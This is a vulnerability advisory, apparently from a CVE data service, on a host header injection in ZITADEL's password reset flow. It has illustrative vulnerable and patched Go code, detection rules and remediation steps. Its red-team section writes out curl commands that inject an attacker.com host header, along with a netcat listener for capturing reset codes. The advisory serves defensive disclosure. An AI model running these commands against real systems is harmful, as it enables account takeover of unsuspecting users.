CVE-2025-64101
Executive Summary
CVE-2025-64101 is a host header injection vulnerability in ZITADEL, an open-source identity infrastructure platform. The vulnerability allows an attacker to manipulate the Forwarded or X-Forwarded-Host HTTP headers to inject a malicious domain into password reset confirmation links. If a user clicks the manipulated link, the secret reset code is captured by the attacker, enabling unauthorized password reset and account takeover. The vulnerability is mitigated for accounts with Multi-Factor Authentication (MFA) or Passwordless authentication enabled. The CVSS score is 8.1 (High), and no public proof-of-concept (PoC) or exploit code has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
ZITADEL is a Go-based application distributed as a Docker image and binary. The vulnerability is not in a package dependency but in the application's HTTP header handling logic. Organizations using ZITADEL should verify their deployment version and apply patches immediately.
CVSS Breakdown & Threat Level
- CVSS Score: 8.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (user must click the link)
- Scope: Changed (attacker-controlled domain)
- Confidentiality Impact: High (secret reset code captured)
- Integrity Impact: High (password reset and account takeover)
- Availability Impact: None
Threat Level: High. The vulnerability is easy to exploit (low complexity, no privileges required) and can lead to full account compromise. However, user interaction is required, and MFA mitigates the risk.
Deep Dive & Mechanics
The vulnerability resides in ZITADEL's password reset flow. When a user requests a password reset, ZITADEL constructs a confirmation URL using the Forwarded or X-Forwarded-Host header from the incoming HTTP request. This URL, containing a secret reset code, is then emailed to the user.
Attack Flow:
- Attacker sends a password reset request for a target user, injecting a malicious domain in the
X-Forwarded-Hostheader (e.g.,X-Forwarded-Host: attacker.com). - ZITADEL generates a password reset link like
https://attacker.com/reset?code=SECRET_CODE. - The email containing this link is sent to the target user.
- If the user clicks the link, the secret code is sent to the attacker's server.
- The attacker uses the captured code to reset the user's password and gain unauthorized access.
Root Cause: The application trusts user-supplied headers without validation. The Forwarded and X-Forwarded-Host headers are used directly in URL generation without sanitization or whitelisting.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-2.71.18, 3.4.3, 4.6.0):
// Example of vulnerable URL construction
func generateResetLink(r *http.Request, code string) string {
host := r.Header.Get("X-Forwarded-Host")
if host == "" {
host = r.Host
}
return fmt.Sprintf("https://%s/reset?code=%s", host, code)
}
Patched Code (Post-fix):
// Example of patched URL construction with validation
func generateResetLink(r *http.Request, code string) string {
host := r.Header.Get("X-Forwarded-Host")
if host == "" {
host = r.Host
}
// Validate host against allowed domains
if !isAllowedHost(host) {
host = r.Host
}
return fmt.Sprintf("https://%s/reset?code=%s", host, code)
}
func isAllowedHost(host string) bool {
allowedHosts := []string{"zitadel.example.com", "auth.example.com"}
for _, allowed := range allowedHosts {
if host == allowed {
return true
}
}
return false
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a ZITADEL instance (version < 2.71.18, < 3.4.3, or < 4.6.0).
- Knowledge of a target user's email address.
- A domain controlled by the attacker (e.g.,
attacker.com) with a web server to capture the reset code.
Exploitation Steps:
- Set up a listener on the attacker's domain to capture incoming requests (e.g., using
nc -lvnp 80or a simple Python HTTP server). - Send a password reset request to the ZITADEL instance with the malicious header:
curl -X POST https://victim-zitadel.com/api/password/reset \ -H "X-Forwarded-Host: attacker.com" \ -d "email=target@example.com" - Wait for the target user to receive the email and click the link.
- Capture the reset code from the incoming request on the attacker's server.
- Use the captured code to reset the password:
curl -X POST https://victim-zitadel.com/api/password/reset/confirm \ -d "code=CAPTURED_CODE&new_password=NewP@ss123" - Log in with the new password.
Note: No public exploit code is available. The above is a conceptual demonstration.
Blue Team
Detection:
- Monitor for password reset requests with unusual
X-Forwarded-HostorForwardedheaders. - Alert on password reset emails containing links to external domains not matching the organization's allowed list.
- Enable MFA for all accounts to mitigate the impact.
Hunting:
- Search logs for password reset requests where the
X-Forwarded-Hostheader differs from the expected host. - Review email logs for password reset emails with URLs pointing to suspicious domains.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests with
X-Forwarded-HostorForwardedheaders containing unexpected domains. - Outbound connections from ZITADEL to attacker-controlled domains during password reset flows.
- HTTP requests with
- Logs:
- Password reset requests with
X-Forwarded-Hostheader values not matching the server's hostname. - Multiple failed password reset attempts for the same user.
- Password reset requests with
- Email:
- Password reset emails with URLs pointing to domains other than the legitimate ZITADEL instance.
Detection Engineering
YARA Rule
rule CVE_2025_64101_ZITADEL_Host_Header_Injection {
meta:
description = "Detects ZITADEL password reset requests with suspicious X-Forwarded-Host headers"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-64101"
strings:
$header = "X-Forwarded-Host:" nocase
$reset_path = "/api/password/reset" nocase
condition:
$reset_path and $header
}
Sigma Rule
title: ZITADEL Host Header Injection in Password Reset
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects password reset requests with manipulated X-Forwarded-Host headers
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: zitadel
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/password/reset'
cs-headers|contains: 'X-Forwarded-Host'
condition: selection
falsepositives:
- Legitimate reverse proxy configurations
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-64101 ZITADEL Host Header Injection"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/password/reset"; http.header; content:"X-Forwarded-Host"; reference:cve,2025-64101; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade ZITADEL to version 2.71.18, 3.4.3, or 4.6.0 (or later).
- If immediate upgrade is not possible, implement a reverse proxy (e.g., Nginx, HAProxy) to strip or validate the
X-Forwarded-HostandForwardedheaders before they reach ZITADEL. - Enable Multi-Factor Authentication (MFA) for all accounts to mitigate the impact of this vulnerability.
Long-term Mitigations:
- Regularly update ZITADEL to the latest version.
- Implement network segmentation to limit exposure of the ZITADEL instance.
- Monitor logs for suspicious password reset activity.
- Conduct regular security assessments and penetration testing.
Workaround:
- Configure the reverse proxy to overwrite the
X-Forwarded-Hostheader with a trusted value:proxy_set_header X-Forwarded-Host $host;
Valters IT